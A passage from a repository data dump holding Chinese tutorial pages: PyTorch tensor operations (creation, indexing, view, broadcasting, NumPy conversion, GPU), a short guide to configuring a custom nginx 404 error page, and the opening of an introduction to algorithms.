href=\"/d2l-pytorch/chapter10_natural-language-processing/10.5_glove.html\">10.5 全局向量的词嵌入(GloVe)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.6_similarity-analogy.html\">10.6 求近义词和类比词</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.7_sentiment-analysis-rnn.html\">10.7 文本情感分类:使用循环神经网络</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.8_sentiment-analysis-cnn.html\">10.8 文本情感分类:使用卷积神经网络(textCNN)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.9_seq2seq.html\">10.9 编码器—解码器(seq2seq)</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.10_beam-search.html\">10.10 束搜索</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.11_attention.html\">10.11 注意力机制</a></li>\n <li><a href=\"/d2l-pytorch/chapter10_natural-language-processing/10.12_machine-translation.html\">10.12 机器翻译</a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>2.2 数据操作</h1>\n<p>在深度学习中,我们通常会频繁地对数据进行操作。作为动手学深度学习的基础,本节将介绍如何对内存中的数据进行操作。</p>\n<p>在PyTorch中,<code>torch.Tensor</code>是存储和变换数据的主要工具。如果你之前用过NumPy,你会发现<code>Tensor</code>和NumPy的多维数组非常类似。然而,<code>Tensor</code>提供GPU计算和自动求梯度等更多功能,这些使<code>Tensor</code>更加适合深度学习。 </p>\n<blockquote>\n<p>\"tensor\"这个单词一般可译作“张量”,张量可以看作是一个多维数组。标量可以看作是0维张量,向量可以看作1维张量,矩阵可以看作是二维张量。</p>\n</blockquote>\n<h2>2.2.1 创建<code>Tensor</code></h2>\n<p>我们先介绍<code>Tensor</code>的最基本功能,即<code>Tensor</code>的创建。</p>\n<p>首先导入PyTorch:</p>\n<pre><code class=\"python\">import torch\n</code></pre>\n\n<p>然后我们创建一个5x3的未初始化的<code>Tensor</code>:</p>\n<pre><code class=\"python\">x = torch.empty(5, 3)\nprint(x)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[ 0.0000e+00, 1.5846e+29, 0.0000e+00],\n [ 1.5846e+29, 5.6052e-45, 0.0000e+00],\n [ 0.0000e+00, 0.0000e+00, 0.0000e+00],\n [ 0.0000e+00, 0.0000e+00, 0.0000e+00],\n [ 0.0000e+00, 1.5846e+29, -2.4336e+02]])\n</code></pre>\n\n<p>创建一个5x3的随机初始化的<code>Tensor</code>:</p>\n<pre><code class=\"python\">x = torch.rand(5, 3)\nprint(x)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[0.4963, 0.7682, 0.0885],\n [0.1320, 0.3074, 0.6341],\n [0.4901, 0.8964, 0.4556],\n [0.6323, 0.3489, 0.4017],\n [0.0223, 0.1689, 0.2939]])\n</code></pre>\n\n<p>创建一个5x3的long型全0的<code>Tensor</code>:</p>\n<pre><code class=\"python\">x = torch.zeros(5, 3, dtype=torch.long)\nprint(x)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[0, 0, 0],\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0],\n [0, 0, 0]])\n</code></pre>\n\n<p>还可以直接根据数据创建:</p>\n<pre><code class=\"python\">x = torch.tensor([5.5, 3])\nprint(x)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([5.5000, 3.0000])\n</code></pre>\n\n<p>还可以通过现有的<code>Tensor</code>来创建,此方法会默认重用输入<code>Tensor</code>的一些属性,例如数据类型,除非自定义数据类型。</p>\n<pre><code class=\"python\">x = x.new_ones(5, 3, dtype=torch.float64) # 返回的tensor默认具有相同的torch.dtype和torch.device\nprint(x)\n\nx = torch.randn_like(x, dtype=torch.float) # 指定新的数据类型\nprint(x) \n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.],\n [1., 1., 1.]], dtype=torch.float64)\ntensor([[ 0.6035, 0.8110, -0.0451],\n [ 0.8797, 1.0482, -0.0445],\n [-0.7229, 2.8663, -0.5655],\n [ 0.1604, -0.0254, 1.0739],\n [ 2.2628, -0.9175, -0.2251]])\n</code></pre>\n\n<p>我们可以通过<code>shape</code>或者<code>size()</code>来获取<code>Tensor</code>的形状:</p>\n<pre><code class=\"python\">print(x.size())\nprint(x.shape)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>torch.Size([5, 3])\ntorch.Size([5, 3])\n</code></pre>\n\n<blockquote>\n<p>注意:返回的torch.Size其实就是一个tuple, 支持所有tuple的操作。</p>\n</blockquote>\n<p>还有很多函数可以创建<code>Tensor</code>,去翻翻官方API就知道了,下表给了一些常用的作参考。</p>\n<table>\n<thead>\n<tr>\n<th align=\"center\">函数</th>\n<th align=\"center\">功能</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\">Tensor(*sizes)</td>\n<td align=\"center\">基础构造函数</td>\n</tr>\n<tr>\n<td align=\"center\">tensor(data,)</td>\n<td align=\"center\">类似np.array的构造函数</td>\n</tr>\n<tr>\n<td align=\"center\">ones(*sizes)</td>\n<td align=\"center\">全1Tensor</td>\n</tr>\n<tr>\n<td align=\"center\">zeros(*sizes)</td>\n<td align=\"center\">全0Tensor</td>\n</tr>\n<tr>\n<td align=\"center\">eye(*sizes)</td>\n<td align=\"center\">对角线为1,其他为0</td>\n</tr>\n<tr>\n<td align=\"center\">arange(s,e,step)</td>\n<td align=\"center\">从s到e,步长为step</td>\n</tr>\n<tr>\n<td align=\"center\">linspace(s,e,steps)</td>\n<td align=\"center\">从s到e,均匀切分成steps份</td>\n</tr>\n<tr>\n<td align=\"center\">rand/randn(*sizes)</td>\n<td align=\"center\">均匀/标准分布</td>\n</tr>\n<tr>\n<td align=\"center\">normal(mean,std)/uniform(from,to)</td>\n<td align=\"center\">正态分布/均匀分布</td>\n</tr>\n<tr>\n<td align=\"center\">randperm(m)</td>\n<td align=\"center\">随机排列</td>\n</tr>\n</tbody>\n</table>\n<p>这些创建方法都可以在创建的时候指定数据类型dtype和存放device(cpu/gpu)。</p>\n<h2>2.2.2 操作</h2>\n<p>本小节介绍<code>Tensor</code>的各种操作。</p>\n<h3>算术操作</h3>\n<p>在PyTorch中,同一种操作可能有很多种形式,下面用加法作为例子。\n* <strong>加法形式一</strong>\n <code>python\n y = torch.rand(5, 3)\n print(x + y)</code>\n* <strong>加法形式二</strong>\n <code>python\n print(torch.add(x, y))</code>\n 还可指定输出:\n <code>python\n result = torch.empty(5, 3)\n torch.add(x, y, out=result)\n print(result)</code>\n* <strong>加法形式三、inplace</strong>\n <code>python\n # adds x to y\n y.add_(x)\n print(y)</code>\n &gt; <strong>注:PyTorch操作inplace版本都有后缀<code>_</code>, 例如<code>x.copy_(y), x.t_()</code></strong></p>\n<p>以上几种形式的输出均为:</p>\n<pre><code>tensor([[ 1.3967, 1.0892, 0.4369],\n [ 1.6995, 2.0453, 0.6539],\n [-0.1553, 3.7016, -0.3599],\n [ 0.7536, 0.0870, 1.2274],\n [ 2.5046, -0.1913, 0.4760]])\n</code></pre>\n\n<h3>索引</h3>\n<p>我们还可以使用类似NumPy的索引操作来访问<code>Tensor</code>的一部分,需要注意的是:<strong>索引出来的结果与原数据共享内存,也即修改一个,另一个会跟着修改。</strong> </p>\n<pre><code class=\"python\">y = x[0, :]\ny += 1\nprint(y)\nprint(x[0, :]) # 源tensor也被改了\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([1.6035, 1.8110, 0.9549])\ntensor([1.6035, 1.8110, 0.9549])\n</code></pre>\n\n<p>除了常用的索引选择数据之外,PyTorch还提供了一些高级的选择函数:</p>\n<table>\n<thead>\n<tr>\n<th align=\"center\">函数</th>\n<th align=\"center\">功能</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\">index_select(input, dim, index)</td>\n<td align=\"center\">在指定维度dim上选取,比如选取某些行、某些列</td>\n</tr>\n<tr>\n<td align=\"center\">masked_select(input, mask)</td>\n<td align=\"center\">例子如上,a[a&gt;0],使用ByteTensor进行选取</td>\n</tr>\n<tr>\n<td align=\"center\">nonzero(input)</td>\n<td align=\"center\">非0元素的下标</td>\n</tr>\n<tr>\n<td align=\"center\">gather(input, dim, index)</td>\n<td align=\"center\">根据index,在dim维度上选取数据,输出的size与index一样</td>\n</tr>\n</tbody>\n</table>\n<p>这里不详细介绍,用到了再查官方文档。</p>\n<h3>改变形状</h3>\n<p>用<code>view()</code>来改变<code>Tensor</code>的形状:</p>\n<pre><code class=\"python\">y = x.view(15)\nz = x.view(-1, 5) # -1所指的维度可以根据其他维度的值推出来\nprint(x.size(), y.size(), z.size())\n</code></pre>\n\n<p>输出:</p>\n<pre><code>torch.Size([5, 3]) torch.Size([15]) torch.Size([3, 5])\n</code></pre>\n\n<p><strong>注意<code>view()</code>返回的新<code>Tensor</code>与源<code>Tensor</code>虽然可能有不同的<code>size</code>,但是是共享<code>data</code>的,也即更改其中的一个,另外一个也会跟着改变。(顾名思义,view仅仅是改变了对这个张量的观察角度,内部数据并未改变)</strong></p>\n<pre><code class=\"python\">x += 1\nprint(x)\nprint(y) # 也加了1\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[1.6035, 1.8110, 0.9549],\n [1.8797, 2.0482, 0.9555],\n [0.2771, 3.8663, 0.4345],\n [1.1604, 0.9746, 2.0739],\n [3.2628, 0.0825, 0.7749]])\ntensor([1.6035, 1.8110, 0.9549, 1.8797, 2.0482, 0.9555, 0.2771, 3.8663, 0.4345,\n 1.1604, 0.9746, 2.0739, 3.2628, 0.0825, 0.7749])\n</code></pre>\n\n<p>所以如果我们想返回一个真正新的副本(即不共享data内存)该怎么办呢?Pytorch还提供了一个<code>reshape()</code>可以改变形状,但是此函数并不能保证返回的是其拷贝,所以不推荐使用。推荐先用<code>clone</code>创造一个副本然后再使用<code>view</code>。<a href=\"https://stackoverflow.com/questions/49643225/whats-the-difference-between-reshape-and-view-in-pytorch\">参考此处</a></p>\n<pre><code class=\"python\">x_cp = x.clone().view(15)\nx -= 1\nprint(x)\nprint(x_cp)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[ 0.6035, 0.8110, -0.0451],\n [ 0.8797, 1.0482, -0.0445],\n [-0.7229, 2.8663, -0.5655],\n [ 0.1604, -0.0254, 1.0739],\n [ 2.2628, -0.9175, -0.2251]])\ntensor([1.6035, 1.8110, 0.9549, 1.8797, 2.0482, 0.9555, 0.2771, 3.8663, 0.4345,\n 1.1604, 0.9746, 2.0739, 3.2628, 0.0825, 0.7749])\n</code></pre>\n\n<blockquote>\n<p>使用<code>clone</code>还有一个好处是会被记录在计算图中,即梯度回传到副本时也会传到源<code>Tensor</code>。</p>\n</blockquote>\n<p>另外一个常用的函数就是<code>item()</code>, 它可以将一个标量<code>Tensor</code>转换成一个Python number:</p>\n<pre><code class=\"python\">x = torch.randn(1)\nprint(x)\nprint(x.item())\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([2.3466])\n2.3466382026672363\n</code></pre>\n\n<h3>线性代数</h3>\n<p>另外,PyTorch还支持一些线性函数,这里提一下,免得用起来的时候自己造轮子,具体用法参考官方文档。如下表所示:</p>\n<table>\n<thead>\n<tr>\n<th align=\"center\">函数</th>\n<th align=\"center\">功能</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td align=\"center\">trace</td>\n<td align=\"center\">对角线元素之和(矩阵的迹)</td>\n</tr>\n<tr>\n<td align=\"center\">diag</td>\n<td align=\"center\">对角线元素</td>\n</tr>\n<tr>\n<td align=\"center\">triu/tril</td>\n<td align=\"center\">矩阵的上三角/下三角,可指定偏移量</td>\n</tr>\n<tr>\n<td align=\"center\">mm/bmm</td>\n<td align=\"center\">矩阵乘法,batch的矩阵乘法</td>\n</tr>\n<tr>\n<td align=\"center\">addmm/addbmm/addmv/addr/baddbmm..</td>\n<td align=\"center\">矩阵运算</td>\n</tr>\n<tr>\n<td align=\"center\">t</td>\n<td align=\"center\">转置</td>\n</tr>\n<tr>\n<td align=\"center\">dot/cross</td>\n<td align=\"center\">内积/外积</td>\n</tr>\n<tr>\n<td align=\"center\">inverse</td>\n<td align=\"center\">求逆矩阵</td>\n</tr>\n<tr>\n<td align=\"center\">svd</td>\n<td align=\"center\">奇异值分解</td>\n</tr>\n</tbody>\n</table>\n<p>PyTorch中的<code>Tensor</code>支持超过一百种操作,包括转置、索引、切片、数学运算、线性代数、随机数等等,可参考<a href=\"https://pytorch.org/docs/stable/tensors.html\">官方文档</a>。</p>\n<h2>2.2.3 广播机制</h2>\n<p>前面我们看到如何对两个形状相同的<code>Tensor</code>做按元素运算。当对两个形状不同的<code>Tensor</code>按元素运算时,可能会触发广播(broadcasting)机制:先适当复制元素使这两个<code>Tensor</code>形状相同后再按元素运算。例如:</p>\n<pre><code class=\"python\">x = torch.arange(1, 3).view(1, 2)\nprint(x)\ny = torch.arange(1, 4).view(3, 1)\nprint(y)\nprint(x + y)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([[1, 2]])\ntensor([[1],\n [2],\n [3]])\ntensor([[2, 3],\n [3, 4],\n [4, 5]])\n</code></pre>\n\n<p>由于<code>x</code>和<code>y</code>分别是1行2列和3行1列的矩阵,如果要计算<code>x + y</code>,那么<code>x</code>中第一行的2个元素被广播(复制)到了第二行和第三行,而<code>y</code>中第一列的3个元素被广播(复制)到了第二列。如此,就可以对2个3行2列的矩阵按元素相加。</p>\n<h2>2.2.4 运算的内存开销</h2>\n<p>前面说了,索引操作是不会开辟新内存的,而像<code>y = x + y</code>这样的运算是会新开内存的,然后将<code>y</code>指向新内存。为了演示这一点,我们可以使用Python自带的<code>id</code>函数:如果两个实例的ID一致,那么它们所对应的内存地址相同;反之则不同。</p>\n<pre><code class=\"python\">x = torch.tensor([1, 2])\ny = torch.tensor([3, 4])\nid_before = id(y)\ny = y + x\nprint(id(y) == id_before) # False \n</code></pre>\n\n<p>如果想指定结果到原来的<code>y</code>的内存,我们可以使用前面介绍的索引来进行替换操作。在下面的例子中,我们把<code>x + y</code>的结果通过<code>[:]</code>写进<code>y</code>对应的内存中。</p>\n<pre><code class=\"python\">x = torch.tensor([1, 2])\ny = torch.tensor([3, 4])\nid_before = id(y)\ny[:] = y + x\nprint(id(y) == id_before) # True\n</code></pre>\n\n<p>我们还可以使用运算符全名函数中的<code>out</code>参数或者自加运算符<code>+=</code>(也即<code>add_()</code>)达到上述效果,例如<code>torch.add(x, y, out=y)</code>和<code>y += x</code>(<code>y.add_(x)</code>)。</p>\n<pre><code class=\"python\">x = torch.tensor([1, 2])\ny = torch.tensor([3, 4])\nid_before = id(y)\ntorch.add(x, y, out=y) # y += x, y.add_(x)\nprint(id(y) == id_before) # True\n</code></pre>\n\n<blockquote>\n<p>注:虽然<code>view</code>返回的<code>Tensor</code>与源<code>Tensor</code>是共享<code>data</code>的,但是依然是一个新的<code>Tensor</code>(因为<code>Tensor</code>除了包含<code>data</code>外还有一些其他属性),二者id(内存地址)并不一致。</p>\n</blockquote>\n<h2>2.2.5 <code>Tensor</code>和NumPy相互转换</h2>\n<p>我们很容易用<code>numpy()</code>和<code>from_numpy()</code>将<code>Tensor</code>和NumPy中的数组相互转换。但是需要注意的一点是:\n<strong>这两个函数所产生的的<code>Tensor</code>和NumPy中的数组共享相同的内存(所以他们之间的转换很快),改变其中一个时另一个也会改变!!!</strong></p>\n<blockquote>\n<p>还有一个常用的将NumPy中的array转换成<code>Tensor</code>的方法就是<code>torch.tensor()</code>, 需要注意的是,此方法总是会进行数据拷贝(就会消耗更多的时间和空间),所以返回的<code>Tensor</code>和原来的数据不再共享内存。</p>\n</blockquote>\n<h3><code>Tensor</code>转NumPy</h3>\n<p>使用<code>numpy()</code>将<code>Tensor</code>转换成NumPy数组:</p>\n<pre><code class=\"python\">a = torch.ones(5)\nb = a.numpy()\nprint(a, b)\n\na += 1\nprint(a, b)\nb += 1\nprint(a, b)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>tensor([1., 1., 1., 1., 1.]) [1. 1. 1. 1. 1.]\ntensor([2., 2., 2., 2., 2.]) [2. 2. 2. 2. 2.]\ntensor([3., 3., 3., 3., 3.]) [3. 3. 3. 3. 3.]\n</code></pre>\n\n<h3>NumPy数组转<code>Tensor</code></h3>\n<p>使用<code>from_numpy()</code>将NumPy数组转换成<code>Tensor</code>:</p>\n<pre><code class=\"python\">import numpy as np\na = np.ones(5)\nb = torch.from_numpy(a)\nprint(a, b)\n\na += 1\nprint(a, b)\nb += 1\nprint(a, b)\n</code></pre>\n\n<p>输出:</p>\n<pre><code>[1. 1. 1. 1. 1.] tensor([1., 1., 1., 1., 1.], dtype=torch.float64)\n[2. 2. 2. 2. 2.] tensor([2., 2., 2., 2., 2.], dtype=torch.float64)\n[3. 3. 3. 3. 3.] tensor([3., 3., 3., 3., 3.], dtype=torch.float64)\n</code></pre>\n\n<p>所有在CPU上的<code>Tensor</code>(除了<code>CharTensor</code>)都支持与NumPy数组相互转换。</p>\n<p>此外上面提到还有一个常用的方法就是直接用<code>torch.tensor()</code>将NumPy数组转换成<code>Tensor</code>,需要注意的是该方法总是会进行数据拷贝,返回的<code>Tensor</code>和原来的数据不再共享内存。</p>\n<pre><code class=\"python\">c = torch.tensor(a)\na += 1\nprint(a, c)\n</code></pre>\n\n<p>输出</p>\n<pre><code>[4. 4. 4. 4. 4.] tensor([3., 3., 3., 3., 3.], dtype=torch.float64)\n</code></pre>\n\n<h2>2.2.6 <code>Tensor</code> on GPU</h2>\n<p>用方法<code>to()</code>可以将<code>Tensor</code>在CPU和GPU(需要硬件支持)之间相互移动。</p>\n<pre><code class=\"python\"># 以下代码只有在PyTorch GPU版本上才会执行\nif torch.cuda.is_available():\n device = torch.device(&quot;cuda&quot;) # GPU\n y = torch.ones_like(x, device=device) # 直接创建一个在GPU上的Tensor\n x = x.to(device) # 等价于 .to(&quot;cuda&quot;)\n z = x + y\n print(z)\n print(z.to(&quot;cpu&quot;, torch.double)) # to()还可以同时更改数据类型\n</code></pre>\n\n<hr />\n<blockquote>\n<p>注: 本文主要参考<a href=\"https://pytorch.org/tutorials/beginner/blitz/tensor_tutorial.html#sphx-glr-beginner-blitz-tensor-tutorial-py\">PyTorch官方文档</a>和<a href=\"https://github.com/chenyuntc/pytorch-book/blob/master/chapter3-Tensor%E5%92%8Cautograd/Tensor.ipynb\">此处</a>,与<a href=\"https://zh.d2l.ai/chapter_prerequisite/ndarray.html\">原书同一节</a>有很大不同。</p>\n</blockquote>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS -->\n <script src=\"https://landkit.goodthemes.co/assets/libs/jquery/dist/jquery.min.js\"></script>\n <script src=\"https://landkit.goodthemes.co/assets/libs/bootstrap/dist/js/bootstrap.bundle.min.js\"></script>\n\n <!-- Theme JS -->\n <script src=\"https://landkit.goodthemes.co/assets/js/theme.min.js\"></script>\n <script src=\"https://cdn.freeaihub.com/asset/js/cell.js\"></script>\n \n <script src=\"https://polyfill.io/v3/polyfill.min.js?features=es6\"></script>\n <script>\n MathJax = {\n tex: {inlineMath: [['$', '$'], ['\\\\(', '\\\\)']]}\n };\n </script>\n <script id=\"MathJax-script\" async src=\"https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js\"></script>\n </body>\n</html>" }, { "alpha_fraction": 0.6359060406684875, "alphanum_fraction": 0.7013422846794128, "avg_line_length": 14.710526466369629, "blob_id": "438b8ebfa5bd3116259446bcb20e37fe2b250c42", "content_id": "4f2efa72ea675358f0ee3a1dcc2ce4bc70137cb8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 812, "license_type": "no_license", "max_line_length": 59, "num_lines": 38, "path": "/nginx/case5.md", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "# Nginx 示例5:自定义错误页404\n\n访问一个不存在的页面:{url}/pagedontexist.html\n\n![image-20200415150356220](./images/404.jpg)\n\n**创建自己的404.html页面,并放于网站根目录**\n\n```bash\necho 'Sorry,You page was lost!!!' >> /var/www/html/404.html\n```\n\n**修改配置文件`/etc/nginx/sites-enabled/default `**\n\n```bash\nvim /etc/nginx/sites-enabled/default \n```\n在server 区域加入:`error_page 404 /404.html;`后保存后退出\n\n**修改配置文件`/etc/nginx/nginx.conf`**\n\n```bash\nvim /etc/nginx/nginx.conf\n```\n\n在http区域加入:`fastcgi_intercept_errors on; `后保存后退出\n\n**重载nginx**\n\n```bash\nnginx -s reload\n```\n\n**验证**\n\n访问一个不存在的页面:{url}/pagedontexist.html,看看是什么提示\n\n> 其它如500 等错误可以用同样的方法来配置。" }, { "alpha_fraction": 0.5853658318519592, "alphanum_fraction": 0.5958370566368103, "avg_line_length": 38.15999984741211, "blob_id": "159745592332834fa25b259e8d10120d966ff05e", "content_id": "6530151810c7a58f874dcfe194d47e92036c35c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 9855, "license_type": "no_license", "max_line_length": 198, "num_lines": 200, "path": "/ds-in-python/algorithm.html", "repo_name": "Shaw-closed-up/books", "src_encoding": "UTF-8", "text": "<!DOCTYPE html>\n<html lang=\"zh-CN\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n <link href=\"/static/img/favicon.png\" rel=\"icon\" type=\"image/png\">\n\n <!-- Theme CSS -->\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/theme.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <link href=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/css/style.css\" rel=\"stylesheet\" type=\"text/css\"/>\n <title>算法 - FreeAIHub</title>\n \n <style>\n #top_bar {\n /* background-color: #6e84a3;\n color: white;\n font: bold 12px Helvetica;\n padding: 6px 5px 4px 5px;\n border-bottom: 1px outset; */\n }\n #status {\n text-align: center;\n }\n #sendCtrlAltDelButton {\n position: fixed;\n top: 0px;\n right: 0px;\n border: 1px outset;\n padding: 5px 5px 4px 5px;\n cursor: pointer;\n }\n\n #screen {\n /* flex: 1;\n overflow: hidden; */\n }\n\n </style>\n\n </head>\n <body class=\"bg-light\" style=\"padding-top: 84px;\">\n <header class=\"navbar navbar-expand navbar-dark flex-column flex-md-row bd-navbar text-center\">\n <a class=\"navbar-brand mr-0 mr-md-2\" aria-label=\"引导程序\" href=\"/\">\n <img src=\"https://freeaihub.oss-cn-beijing.aliyuncs.com/asset/images/freeaihub.svg\" width=\"60%\" alt=\"freeai logo\">\n </a>\n <ul class=\"navbar-nav ml-md-auto\">\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">首页</a>\n </li>\n <li class=\"nav-item\">\n <a href=\"/\" class=\"nav-link pl-2 pr-1 mx-1 py-3 my-n2\">课程页面</a>\n </li>\n </ul>\n </header>\n\n\n\n <!-- BREADCRUMB\n ================================================== -->\n <nav class=\"d-lg-none bg-gray-800\">\n <div class=\"container-fluid\">\n <div class=\"row align-items-center\">\n <div class=\"col\">\n </div>\n <div class=\"col-auto\">\n <!-- Toggler -->\n <div class=\"navbar-dark\">\n <button class=\"navbar-toggler\" type=\"button\" data-toggle=\"collapse\" data-target=\"#sidenavCollapse\" aria-controls=\"sidenavCollapse\" aria-expanded=\"false\" aria-label=\"Toggle navigation\">\n <span class=\"navbar-toggler-icon\"></span>\n </button>\n </div>\n\n </div>\n </div> <!-- / .row -->\n </div> <!-- / .container -->\n </nav>\n\n <!-- CONTENT\n ================================================== -->\n <section style=\"overflow: hidden;\">\n <div class=\"container-fluid\">\n <div class=\"row\">\n\n <div class=\"col-12 col-lg-2 col-xl-2 px-lg-0 border-bottom border-bottom-lg-0 border-right-lg border-gray-300 sidenav sidenav-left\"> \n <div class=\"collapse d-lg-block\" id=\"sidenavCollapse\">\n <div class=\"px-lg-5\">\n <ul class=\"nav side-left\">\n <li><a href=\"./data-structure.html\"> 数据结构 </a></li>\n<li><a href=\"./data-structure-python-array.html\"> Python自带数据结构 数组(array) </a></li>\n<li><a href=\"./data-structure-python-dict.html\"> Python自带数据结构 字典(dict) </a></li>\n<li><a href=\"./data-structure-python-heap.html\"> Python自带数据结构 堆(heap) </a></li>\n<li><a href=\"./data-structure-python-list.html\"> Python自带数据结构 列表(list) </a></li>\n<li><a href=\"./data-structure-python-set.html\"> Python自带数据结构 集合(set) </a></li>\n<li><a href=\"./data-structure-python-tuple.html\"> Python自带数据结构 元组(tuple) </a></li>\n<li><a href=\"./data-structure-queue.html\"> Python实现数据结构 队列(queue) </a></li>\n<li><a href=\"./data-structure-stack.html\"> Python实现数据结构 栈(stack) </a></li>\n<li><a href=\"./data-structure-python-deque.html\"> Python实现数据结构 双端队列(deque) </a></li>\n<li><a href=\"./data-structure-python-hashtable.html\"> Python实现数据结构 哈希表(hash table) </a></li>\n<li><a href=\"./data-structure-python-2darray.html\"> Python实现数据结构 二维数组(2d array) </a></li>\n<li><a href=\"./data-structure-graph.html\"> Python实现数据结构 图(graph) </a></li>\n<li><a href=\"./data-structure-linked-list.html\"> Python实现数据结构 链表(linked list) </a></li>\n<li><a href=\"./data-structure-matrix.html\"> Python实现数据结构 矩阵 </a></li>\n<li><a href=\"./data-structure-node.html\"> Python实现数据结构 节点(node) </a></p>\n\n<li><a href=\"./algorithm.html\"> 算法 </a></li>\n<li><a href=\"./algorithm-design.html\"> 算法分析 </a></li>\n<li><a href=\"./algorithm-graph.html\"> Python实现算法:图遍历 </a></li>\n<li><a href=\"./algorithms-backtracking.html\"> Python实现算法:回溯(backtracking) </a></li>\n<li><a href=\"./algorithms-binary-search-tree.html\"> Python实现算法:搜索树(binary search tree) </a></li>\n<li><a href=\"./algorithms-recursion.html\"> Python实现算法:递归(recursion) </a></li>\n<li><a href=\"./algorithms-searching.html\"> Python实现算法:搜索 </a></li>\n<li><a href=\"./algorithms-sorting.html\"> Python实现算法:排序 </a></li>\n<li><a href=\"./algorithms-tree-traversal.html\"> Python实现算法:树遍历 </a></li>\n </ul> \n\n </div>\n </div>\n\n\n </div>\n\n <div class=\"entry-cellcontent col-10 col-lg-10 col-xl-10 offset-lg-2 offset-xl-2\">\n <h1>算法</h1>\n<p>算法是一个循序渐进的过程,它定义了一组指令,以一定的顺序执行以获得所需的输出。 算法通常独立于底层语言,即算法可以以多种编程语言实现。</p>\n<p>从数据结构的角度来看,以下是一些重要的算法类别 -</p>\n<ul>\n<li><strong>搜索</strong> - 搜索数据结构中的项目的算法。</li>\n<li><strong>排序</strong> - 按特定顺序对项目进行排序的算法。</li>\n<li><strong>插入</strong> - 算法将项目插入数据结构中。</li>\n<li><strong>更新</strong> - 更新数据结构中现有项目的算法。</li>\n<li><strong>删除</strong> - 从数据结构中删除现有项目的算法。</li>\n</ul>\n<p><strong>算法的特点</strong></p>\n<p>并非所有的程序都可以称为算法。算法应该具有以下特征 -</p>\n<ul>\n<li><strong>毫不含糊</strong> - 算法应该清晰明确。每个步骤(或阶段)及其输入/输出都应该清楚,并且必须仅导致一个含义。</li>\n<li><strong>输入</strong> - 算法应该有<code>0</code>个或更多明确定义的输入。</li>\n<li><strong>输出</strong> - 算法应该有一个或多个定义良好的输出,并且应该与所需的输出相匹配。</li>\n<li><strong>有限性</strong> - 算法必须在有限数量的步骤后终止。</li>\n<li><strong>可行性</strong> - 可用资源应该可行。</li>\n<li><strong>独立</strong> - 一个算法应该有一步一步的指示,它应该独立于任何编程代码。</li>\n</ul>\n<h2>如何编写算法?</h2>\n<p>编写算法没有明确的标准。 相反,它依赖于问题和资源。 从不编写算法来支持特定的编程代码。</p>\n<p>所有编程语言都共享像循环(<code>do</code>,<code>for</code>,<code>while</code>),流控(<code>if-else</code>)等基本代码构造。这些常用构造可用于编写算法。</p>\n<p>算法编写是一个过程,并在问题域定义之后执行。 也就是说,应该知道问题领域,为此来设计一个解决方案。</p>\n<p><strong>示例</strong></p>\n<p>下面通过一个例子来学习算法写作。</p>\n<p><strong>问题</strong> - 设计一个算法来将两个数字相加并显示结果。</p>\n<pre><code class=\"shell\">第1步 − 开始\n第2步 − 声明三个数字值变量:a, b &amp; c\n第3步 − 给定变量: a &amp; b 的值\n第4步 − 将两个变量 a &amp; b 相加\n第5步 − 将第4步中的计算值到 c 变量\n第6步 − 打印:c 的值\n第7步 − 完成\n</code></pre>\n\n<p>算法告诉程序员如何编写程序。 或者,该算法可以写成 -</p>\n<pre><code class=\"shell\">第1步 − 开始相加\n第2步 − 获取 a &amp; b 的值\n第3步 − c ← a + b\n第4步 − 打印显示:c 的值\n第5步 − 完成\n</code></pre>\n\n<p>在算法的设计和分析中,通常使用第二种方法来描述算法。 它使分析人员可以轻松分析忽略所有不需要的定义的算法。 可以观察正在使用的操作以及流程的流程。</p>\n<p>编写步骤是可选的。</p>\n<p>我们设计一个算法来获得给定问题的解决方案。 一个问题可以通过多种方式解决。</p>\n<p><img alt=\"img\" src=\"./images/algorithm.jpg\" /></p>\n<p>因此,对于给定的问题,可以导出许多解算法。 下一步是分析这些提出的解决方案算法并实施最合适的解决方案。</p>\n </div>\n <backend type='k'></backend>\n <code class=gatsby-kernelname data-language=python></code>\n </div> <!-- / .row -->\n </div>\n \n </section>\n\n <!-- JAVASCRIPT\n ================================================== -->\n <!-- Libs JS 